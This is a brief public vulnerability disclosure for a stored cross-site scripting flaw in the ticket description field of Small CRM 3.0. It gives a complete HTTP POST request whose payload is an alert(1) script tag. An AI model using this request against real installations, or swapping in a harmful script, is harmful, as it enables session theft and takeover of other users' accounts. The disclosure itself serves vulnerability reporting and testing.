Small CRM 3.0 Cross Site Scripting

`# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)  
# Date: 20/10/2021  
# Exploit Author: Ghuliev  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/small-crm-php/  
# Version: 3.0  
# Tested on: Server: Ubuntu  
  
When a user or admin creates a ticket, we can inject javascript code into  
ticket.  
  
POST /crm/create-ticket.php HTTP/1.1  
Host: IP  
Content-Length: 79  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://IP  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://IP/crm/create-ticket.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7  
  
subject=aa&tasktype=Select+your+Task+Type&priority=&description=</textarea><script>alert(1)</script>&send=Send  
  
`